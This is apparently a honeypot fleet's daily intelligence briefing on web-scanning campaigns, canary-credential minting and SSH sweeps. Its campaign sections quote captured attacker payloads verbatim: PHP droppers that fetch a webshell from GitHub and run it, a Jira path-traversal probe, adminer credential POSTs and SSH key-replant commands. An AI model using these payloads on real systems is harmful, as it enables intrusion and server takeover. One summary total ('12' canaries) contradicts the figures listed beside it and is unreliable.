FLUX FLEET — INTEL BRIEFING №46

Period: 2026-10-08 07:30 – 2026-10-09 07:30 UTC (24h, day 44 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Kiteworks TLS profile), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 44-day baseline, every ≥3× result-tag spike attributed to a named actor)

BLUF

REGISTRY-HUNT (LeakIX l9scan) ran its largest wave on record: 37 source IPs swept all 8 sensors, 22 of them minted 31 canaries, and the template grew a Jira archive-traversal stage (64 events from 52 IPs). NIGHTAGENT returned under a fresh ONP-MA operator and ran the full kit on both EU nodes. It minted 5 canaries, the campaign's largest haul, and added a Tomcat path-bypass stage. A second phpunit-RCE kit, self-labeled EmperorsTools, ran three sensors in one 3-hour span and minted 6 — registered as EMPERORS-KIT. The mint→use funnel went quiet: 60 credentials reached 30 collectors and none touched AWS, while 11 mints 400-failed after five clean windows. MEGA-DICTIONARY logged its 13th replay (13,478 paths, new Datacamp SG host), and WP-FORM-BRUTE contracted from 886 to 78 credential POSTs. At the network layer, GO-SSH-SWEEP concentrated: 34,343 sessions from 70 IPs.

Key Judgements

1. LeakIX upgraded its template and scaled it in the same window. The new Jira pom.properties traversal stage ran from 52 IPs across all 8 sensors. Two new journey signatures (fe0b8d49a878 ru-edge, 24e7b3a70bf9 control) carry the change; farm's 850993125b15 stood unchanged. (High confidence — one tool template, 8 UA variants from one l9scan family, synchronized stage adoption on one day.)
2. The phpunit-RCE kit family now shares commodity parts. NIGHTAGENT re-POSTed its GHSAT-token dropper byte-identical to the first capture. EMPERORS-KIT combined the NIGHTAGENT phpunit anatomy with INFOCREST's prod_rw + 22-char-password adminer shape and its own public GitHub dropper. (Moderate confidence — bodies captured verbatim and shapes match registered templates, but an operator link between the kits is unproven.)
3. Zero AWS use breaks the three-window validation streak. №43–№45 each produced uses and 9 of the last 9 were self-used; this window 60 minted credentials drew no AWS calls. (High confidence for the window — Tracebit fired no alerts; a use outside the pull window would look identical to no use.)
4. GO-SSH-SWEEP traded breadth for intensity. Sessions hit a record 34,343 (+6,249) while source IPs fell 89→70 and networks 29→14. That is 491 sessions per IP against 316 yesterday, aimed hardest at lauterbourg-01-ts (23,247 inbound) and frantech-ts (18,625). (High confidence — Arkime per-fingerprint counts.)

Active Campaigns (day 44 status)

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — RECORD WAVE + NEW STAGE (Borderline, active)

• Actors: 37 l9scan IPs, all DigitalOcean, on all 8 sensors (farm 11, ru-edge 9, control 8, netcup 6, sponge 6, lauterbourg 6, frantech 4, aidev 4). 22 IPs minted 31 canaries; crossnode minters 157.245.204.205 (ru-edge+control), 167.99.210.137 (farm+ru-edge), 146.190.103.103 (aidev, control ×3). Four multi-pass repeat visitors: 159.89.12.166 (8 console events, 3 sensors), 138.68.82.23 (6, 3 sensors), 146.190.103.103 (6, 2), 207.154.197.113 (6, frantech+netcup). 8 UA variants; the largest cluster (11 IPs) runs l9scan/2.0.234313e2634323e2332313e2930313.
• TTPs: tarpit → WebLogic console → Confluence → NEW Jira archive-traversal probe /download/resources/jira.webresources:color-picker-popup/images/..::..::META-INF::maven::com.atlassian.jira::atlassian-jira-webapp::pom.properties (52 IPs, 64 events, every sensor) → WHM/cPanel proxy paths → docker-registry enumeration (/v2/internal/..., drove 3.3–5.1× manifest/tags spikes on 5 sensors) → /.env mint at ~1/IP. The stage change produced two new journey signatures.
• Assessment: a versioned scanner fleet, not 37 independent operators — the fleet recorded its biggest IP count (previous record 31 in №41) the same day the template changed. None of the 31 canaries reached AWS by window close. The decoys absorbed every probe at zero cost and fingerprinted the new version the day it shipped.

NIGHTAGENT (residential phpunit-RCE kit) ⟳ — RETURNED, NEW STAGE, LARGEST MINT HAUL (Hostile, active)

• Actors: 160.177.245.67 (Office National des Postes, MA — the campaign's ninth ONP-MA-range operator), single IP, both EU nodes in one overlapping session: farm 07:55–09:04 UTC (184 events), aidev 08:23–08:32 UTC (276 events).
• TTPs: phpunit verify <?php echo "NightAgent";?> → dropper POST <?php copy('https://raw.githubusercontent.com/nightagents/nightshell/refs/heads/main/night.php?token=GHSAT0AAAAAACYWDMT5UQIYLJJSWO5KVDNIZYGPEDA','night.php');readfile('night.php'); ?> — byte-identical URL and token, unrotated since first capture, against the repo that 404s — → form login user=root&pass=wrong → wp-batch multiplex + SQLi → NEW tomcat-path-bypass-env stage (25 events, every one of the tag's fleet events belongs to this IP) → config-bundle census (webapp-config-bundle-js ×100) → 5 mints at /.env (aidev 3, farm 2).
• Assessment: the kit is alive and growing a stage; the token stays unrotated, so the dropper still cannot land. The 5 mints are the campaign's largest haul — its first credible credential inventory. Watch the minted set for AWS use.

EMPERORS-KIT (self-labeled phpunit webshell + adminer credsweep) ⚠ NEW — FIRST WINDOW (Hostile, active)

• Actors: 150.241.66.127 (Kyonix Networks, US), single IP across three sensors in one 3-hour span: farm 15:48–18:31 UTC (95 events), control 16:48–19:00 UTC (71), aidev 17:00–18:54 UTC (78).
• TTPs: tarpit cycling → phpMyAdmin login POSTs (phpmyadmin-login ×107 across the 3 nodes — the whole control-1 8.9× spike) → /admin/adminer.php POSTs auth[driver]=server&auth[server]=&auth[username]=prod_rw&auth[password]=<22-char rotating> — 4 captured verbatim (1mnHuJs62NsqWHlUPqBwug, i2k6qVuRK0tqBXL8aYWWUw, Diaq_f9XN60NTbx49oQmBQ, slp5YKkH9d_tLDZH7wcS6A) → phpunit verify <?php echo "EmperorsTools";?> → dropper <?php copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools.php');readfile('emperorstools.php'); ?> → config census (env-production, whm-login, app-config-php, fake-git, symfony-profiler). 6 mints (2 per sensor; 7/6d).
• Assessment: a distinct kit that borrows INFOCREST's credential shape and NIGHTAGENT's RCE anatomy — commodity-kit convergence on one playbook. The dropper targets a public repo with no token, so this copy() can succeed where NightAgent's cannot. First body capture of the full chain; watch the 6 canaries for AWS use and a second operator.

CONFIG-SWEEP (Googlebot-forged config census) ⟳ — FOURTH WINDOW, ESCALATED (Hostile, active)

• Actors: 87.120.104.29 (Sino Worldwide, NO), canary-farm-1 only this window; 6 held canaries from 10-06 remain unused.
• TTPs: 300 events / 150 paths / 40 trap families in about one second (21:45:13–14 UTC) under forged Googlebot/2.1. 144 events carried the new env-production-error tag — farm's env-production decoys answering /.env_backup, /.env.saved, /docker-compose/.env, /frontend/.env, /server/.env.local, /.env.old~ variants. 2 mint attempts 400-failed (upstream burst rejection).
• Assessment: the light 150-event pass escalated to a sub-second burst with a new decoy family. The burst was too fast for the mint endpoint and lost both attempts — speed now costs it credentials.

BUCKLOG-KIT (Bucklog SARL FR /24 census arm) ⟳ — FIFTH WINDOW (Hostile, active)

• Actors: 185.177.72.38 on control-1, 05:25–05:30 UTC: 244 events / 76 paths / 19 families under curl/8.7.1 (ipsum:4+firehol2). The other four block IPs (.75/.64/.9/.205) stayed out.
• TTPs: env-variant directory fanout, wp-config and phpMyAdmin paths; the census arm's first /.env mint attempt 400-failed.
• Assessment: the census arm held its node from №45 and keeps rotating operators inside the /24. The №44 mint+SES-use from .205 remains the family's only use event.

MEGA-DICTIONARY (shared IoT dropper-URL dictionary) ⟳ — THIRTEENTH REPLAY (Hostile, active)

• Actors: 138.199.60.3 (Datacamp Limited, SG — new country for the Datacamp class, ipsum:1) on frantech-ts, 02:01–02:03 UTC: 13,478 events / 13,478 distinct paths in 2 minutes, GET-only, 94% of the node's window volume.
• TTPs: dropper-URL dictionary replay. Wordlist +4 against №45's 13,474 — growth series now …+31/+29/+4.
• Assessment: eighth straight growth event and a fifth Datacamp host. The artifact keeps circulating between hosting classes; the deception surface absorbs each replay at zero cost.

KITEWORKS-CRAWL (Kiteworks decoy fingerprinting) ⟳ — GOOGLE BE CLASS RETURNED (Hostile, active)

• Actors: 35.241.178.74 (119 events, 14:35 UTC) and 34.156.206.32 (143 events, 20:47 UTC, including kiteworks-asset bundles) — fresh Google LLC BE IPs in the №42–№43 class. The №45 AWS 16.216.88.x cluster stayed out.
• TTPs: kiteworks-root-redirect → /login [kiteworks-shell] → kiteworks-asset JS bundles → webshell sweep + probe → tarpit passes. Vhost volume 554 (up from 506).
• Assessment: the dedicated-crawl template now shows three operator classes across five windows; the decoy keeps fingerprinting purpose-built tooling at zero cost. 0 mints.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — ZERO-USE WINDOW (Hostile, active)

• Actors: mint side 30 collector IPs (top holders 45.148.10.171 with 10 mints, 41/6d; 150.241.66.127 with 6; 160.177.245.67 with 5). Use side: nobody — 0 AWS alerts.
• TTPs: mint at /.env under census traffic; no validation calls observed this window.
• Assessment: the first zero-use window since №42. Three campaigns minted 12 canaries between them (REGISTRY-HUNT 31, EMPERORS-KIT 6, NIGHTAGENT 5) — the funnel's largest fresh inventory of the month with no observed consumption. Held credentials stay hostile-held until they expire.

WP-FORM-BRUTE (distributed wp-login credential POST) ⟳ — CONTRACTED TO BACKGROUND (Hostile, active)

• Actors: the standing wp-login cluster (signature 9ff5e462ca0e): 22 IPs, 154 probe+credential events, farm + aidev. The CANADA 217.60.x class and the synchronized trio absent; no year-theme bodies captured.
• TTPs: probe → credential POST → probe; 78 credential POSTs (farm 40, aidev 38).
• Assessment: an 11× contraction from №45's record wave. The 2026-dictionary class was a one-window escalation or it rotates on a long cycle — the roster, not the IPs, remains the campaign identity.

Watch-class singles (no campaign yet)

• 158.178.159.133 (Oracle, NL): frantech-ts, 181 POSTs to the single path /mysql/dbadmin/index.php in 26 s (14:31:50–16 UTC) under self-labeled UA Go Web Pentest Tool — owns the phpmyadmin-login 181× spike. One node, one burst; promote on a second appearance.
• 141.255.162.236 (Private Layer, CH): ru-edge-1, 709 events / 517 vhost favicon.ico paths, 13:00–18:11 UTC — second window, 2.7× volume, same node; new KZ/ERP-flavored directories first-seen (/enterprise-kz/, /jkh_erp/, /meat-mes-erp/, /poultry-farm-erp/). Registration trigger unchanged: a second node.
• 172.104.241.92 (Akamai Connected Cloud, DE, ipsum:3+firehol2): lauterbourg-01-ts, 219 events / 28 families in 31 s (05:31 UTC) — nmaplowercheck, Citrix rdx, Kiteworks shell, ColdFusion CFIDE, webshell sweep in one pass.
• 193.37.32.88 (F.n.s. Holdings, SG, ipsum:1): netcup-ts, 95 events / 88 paths / 18 families in 24 s (14:11 UTC) — fast multi-family census.
• 208.84.100.218: symfony-profiler census collector (Chrome/39.0.2171.95 forgery), 4 mints on 3 sensors, 5/6d — standing, unattributed.
• 45.148.10.171: fourteenth consecutive minting window — 10 mints across farm/aidev/control (41/6d), zero AWS use.

Absent or paused

KEYHUNT (first absence — 8 held canaries unused), SI-CENSUS (second idle window; 27 held ru-edge credentials unused), ENVRC-SWEEP (all four signatures absent), OMEGA-SWEEP (sixth consecutive /46-census miss and the pool singles also silent), METADATA-HUNT (twelfth marker-absent window), MEVSPACE-GITWALK (second miss), GIT-VAULT (fourth window), XMLRPC-BRUTE standalone (0 multicall bodies), SONICWALL-VPN-PROBE, LLM-ENDPOINT-PROBE, SS-Net pair 80.94.95.211/.92.65 (first joint mintless window in weeks), Feo Prest .154/.175 (0 window mints; their №45 uses stand as the last observed use events), NIGHTAGENT's former operators (105.159.4.244, 185.213.193.49), BUCKLOG .75/.64/.9/.205, the CANADA wp-form class, Bochum academic crawler 185.73.23.162 (0 events after 1,637 yesterday).

Standing actors (persistence check)

• 45.148.10.171 — 14 windows, hoard 41/6d, still zero AWS use.
• 87.120.104.29 — fourth consecutive window, now in burst form.
• 204.76.203.18 (Pfcloud, NL) — MALWARE-DICT loop on control-1 continues (1,981 events in the top-talker table).
• 3e1c5eb879e7 /-handshake pool — 87 IPs / 613 events fleet-wide (from 103/811), standing background.
• 7e61a9500d8b php-cgi RCE probe cluster — 11 IPs / 539 events on 5 sensors (from 15/733).
• 4b4cc0ece037 tarpit pool — 21 IPs / 147 events on 3 sensors; fabbcf845ac5 5 IPs (first seen 10-02).

Network-layer recon (Arkime) — 2026-10-08 07:30:00 → 2026-10-09 07:31:25 UTC

Fingerprint field ssh.hassh, destination port 22 · 105,554 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 63,258, sensor:lauterbourg-01-ts 23,247, bahrain-sponge-01-ts 21,428, sensor:bahrain-sponge-01-ts 21,428, frantech-ts 18,625, sensor:frantech-ts 18,625

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 5,889 sessions from 302 source IPs across 147 networks in 52 countries, port 22, avg 4,907 B/session. Networks: AS8075 Microsoft Corporation, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS150436 Byteplus Pte. Ltd., AS4766 Korea Telecom, AS16276 OVH SAS. Busiest sources: 51.68.226.87, 40.83.182.122, 182.48.68.82, 157.230.218.106, 112.217.188.122. Last 7 days: 10-03 346 IPs, 10-04 343 IPs, 10-05 360 IPs, 10-06 297 IPs, 10-07 350 IPs, 10-08 309 IPs, 10-09 116 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. GO-SSH-SWEEP (0a07365cc01f…) set a session record (34,343, +6,249) while its source pool shrank (89→70 IPs, 29→14 networks). The shape flipped from dispersed to concentrated hammering, and it is the top fingerprint on 6 of 8 nodes — heaviest against lauterbourg-01-ts (23,247 sessions) and frantech-ts (18,625). Its shell stage stayed silent: the honeypot saw no new commands. LIBSSH-MASSSWEEP (f555226df196…) held its plateau on day 20 (302 IPs, −32) as the window's only flagged sweep. e54ef3ec27fe… collapsed to 15 IPs / 19 sessions — yesterday's threshold approach is over, and it never crossed. 16443846184e… pulled back to 16,725 sessions / 31 IPs. control-1's top fingerprint 4e066189c3bb… logged its thirteenth uncharacterized cycle (7,565 sessions, 15 IPs). 19532158b559… grew again (2,869 sessions, +906, 12 IPs — second consecutive growth, watch). One new fingerprint first seen today: 52c99fce46b6… (ssh-2.0-go, 11 sessions / 10 IPs, below thresholds). LEAKIX-SSH (fd65145f481d…) returned below thresholds after four absent windows: 7 sessions from 7 IPs on 1 network.

Canary credentials

Summary

No canary credentials were used in AWS during the window. Fleet sensors minted 60 credentials to 30 collector IPs; none reached AWS. Use outcomes: none. 7 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 213.209.159.175: 42 mints, 2026-10-02 06:51 → 2026-10-07 11:02
• 45.148.10.171: 41 mints, 2026-10-02 06:10 → 2026-10-09 05:56
• 102.220.161.102: 27 mints, 2026-10-06 10:40 → 2026-10-06 10:57
• 80.94.92.65: 21 mints, 2026-10-03 09:29 → 2026-10-08 03:11
• 168.119.64.101: 8 mints, 2026-10-07 06:48 → 2026-10-07 13:20
• 80.94.95.211: 8 mints, 2026-10-04 00:52 → 2026-10-08 02:50
• 109.205.176.10: 7 mints, 2026-10-02 15:52 → 2026-10-09 05:41
• 150.241.66.127: 7 mints, 2026-10-04 13:24 → 2026-10-08 18:55
• 140.245.97.208: 6 mints, 2026-10-03 09:14 → 2026-10-07 12:29
• 146.190.103.103: 6 mints, 2026-10-03 06:26 → 2026-10-08 20:39
• 185.213.193.49: 6 mints, 2026-10-06 00:22 → 2026-10-06 13:26
• 213.209.159.154: 6 mints, 2026-10-02 12:39 → 2026-10-08 04:55
• 45.153.34.39: 6 mints, 2026-10-07 12:42 → 2026-10-08 02:14
• 87.120.104.29: 6 mints, 2026-10-06 20:39 → 2026-10-06 20:39

Fleet Observations

Canary economics. Digest mint rows: canary-farm-1 25 (16 IPs), ai-devbox-1 15 (7), control-1 12 (9), ru-edge-1 12 (11) — 64 rows; lauterbourg-01-ts does not appear in the mint table. Tracebit dedupe: 60 credentials to 30 collectors. Mint failures returned after five clean windows: 11×400 (farm 4, aidev 3, control 2, ru-edge 2) — scattered singles from census walkers plus CONFIG-SWEEP's burst pair; the upstream rejection pattern is unchanged (speed-triggered).

Attribution and TLS posture. XFF counters: any 1,365 / multi-entry 0 / ignored-internal 188 / single-entry mismatch 0 — the fourth straight window with no forgery signal. Host census stays bare-IP-led on all 8 nodes; lauterbourg's kiteworks.rightabouteverything.show carried 554 vhost events, ai-devbox-1's inference.fapthropic.com 579.

Volume moves and causes. netcup-ts −60% (785) and sponge-01-ts −42% (882): the Bochum academic crawler logged 0 events after 1,637 yesterday, and №44's BUCKLOG netcup census aged out. canary-farm-1 −46% (1,996): №45's 886-POST wp-form wave left the window. frantech-ts +14% (14,318): the MEGA-DICT replay. ru-edge-1 +48% day-over-day (1,490): the favicon enumerator's 709 events plus 9 REGISTRY-HUNT IPs. lauterbourg +33% (1,577): the two Google BE crawls, the .92 scanner, and 6 REGISTRY-HUNT IPs. ai-devbox-1 +14% (1,344): NIGHTAGENT's 276. control-1 flat (3,138).

Result-tag spike attribution. Every ≥3× spike has a named cause: farm env-production-error inf (144) = 87.120.104.29 (all 144); frantech phpmyadmin-login 181× (181) = 158.178.159.133 (all 181); farm phpmyadmin-login 5.5× (42) and control phpmyadmin-login 8.9× (31) = 150.241.66.127; docker-registry-manifest/tags 3.3–5.1× on control, frantech, netcup, ru-edge, sponge = the REGISTRY-HUNT wave; control whm-login 5.5× (24) = REGISTRY-HUNT journeys plus EMPERORS-KIT.

control-1 discovery velocity. Day 26: 3,138 events from 114 unique IPs — inside the 84–157 band, eighteenth consecutive window.

Digest quirks. First-seen timestamps again cluster at the two sync-arrival minutes (03:15/03:31 local) — treat first-seen as inventory, not timeline. The ai-devbox-1 rotated-file gap (env-canary.jsonl.1, 268 MB) enters its eighth cycle; all-time counters stay depressed.

Fleet-side changes this cycle. CHAINS in flux-visuals.py: added EMPERORS-KIT; updated REGISTRY-HUNT (record wave + Jira stage), NIGHTAGENT (→ active, new stage), CREDENTIAL-DRAIN (zero use), MEGA-DICT, CONFIG-SWEEP, WP-FORM-BRUTE, BUCKLOG-KIT, KITEWORKS-CRAWL, KEYHUNT (→ idle), SI-CENSUS (→ second idle), SS-PROBE. TALKER_CAMPAIGNS +7. recon-names.tsv unchanged (no new named network campaign). The visuals dashboard ran once (flux-fleet-visuals-2026-10-09.html).

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 442 sources sent credentials → 335 got a shell (76%) → 218 ran a command (65% of shell-getters, 49% of sources). Event level: 12,275 credential attempts → 3,108 accepted logins → 7,132 commands (229% of accepted logins go on to run something). Telnet (commodity IoT botnets): 970 attempts, down from 2,152.

Nineteenth static command window. New commands: 0 of 49 distinct. The GO-SSH-SWEEP shell stage that ran 5,110 survey events yesterday stayed silent. The Techoff /24's GPU survey continued (uname/lspci/nvidia-smi enumeration, 583–584 events per command from 3 IPs, example source 195.178.110.218), and the .ssh replant pair stayed dominant (chattr -ia .ssh 840 events/188 IPs; key-replace 740/163).

Credential concentration collapsed. 7,917 distinct pairs offered, 153 new, and the top pair drew 1 attempt — yesterday's fixed-pair sprayers (345gs5662d34 at 1,128 attempts) rotated away. No pair concentrates this window.

Gaps / Next Collection

1. REGISTRY-HUNT's 31 canaries. Does the record mint haul reach AWS, and does the Jira pom.properties stage persist into a second window? A same-session use would be the campaign's first.
2. EMPERORS-KIT. Check raw.githubusercontent.com/president32/uploader2/main/emperor.php availability out-of-band, watch for a second operator, and watch its 6 canaries for AWS use — this dropper, unlike NightAgent's, carries no token and can succeed.
3. NIGHTAGENT's new tomcat-path-bypass-env stage. Did the kit ship it to other operators, and does EMPERORS-KIT adopt it?
4. GO-SSH-SWEEP's concentrated phase. 491 sessions/IP into lauterbourg-01-ts and frantech-ts with no authentication — characterize intent (spray staging vs banner harvest) and watch for the shell stage re-arming.
5. Held-inventory watch. 45.148.10.171 (41/6d), keyhunt's 8, SI-CENSUS's 27, the Feo Prest hoards — any use beyond sts:GetCallerIdentity is a finding.
6. 141.255.162.236's favicon/vhost enum. Third window of growth on one node; register on a second node.
7. ai-devbox-1 history (eighth cycle). Ingest env-canary.jsonl.1 (268 MB) or move rotation behind the sync boundary.
8. Network-layer characterization. 4e066189c3bb… (thirteenth cycle) and 19532158b559… (second growth window) remain unnamed; 52c99fce46b6… is new today.

Digest: /data/flux-logs/reports/flux-digest-2026-10-09.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-09.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-09.html

Watch next cycle: (1) REGISTRY-HUNT — do the 31 minted canaries reach AWS, and does the Jira stage persist? (2) EMPERORS-KIT — a second operator or AWS use of its 6 canaries; NightAgent's token and tomcat stage. (3) GO-SSH-SWEEP — does the concentrated 70-IP phase hold, and does the shell stage re-arm?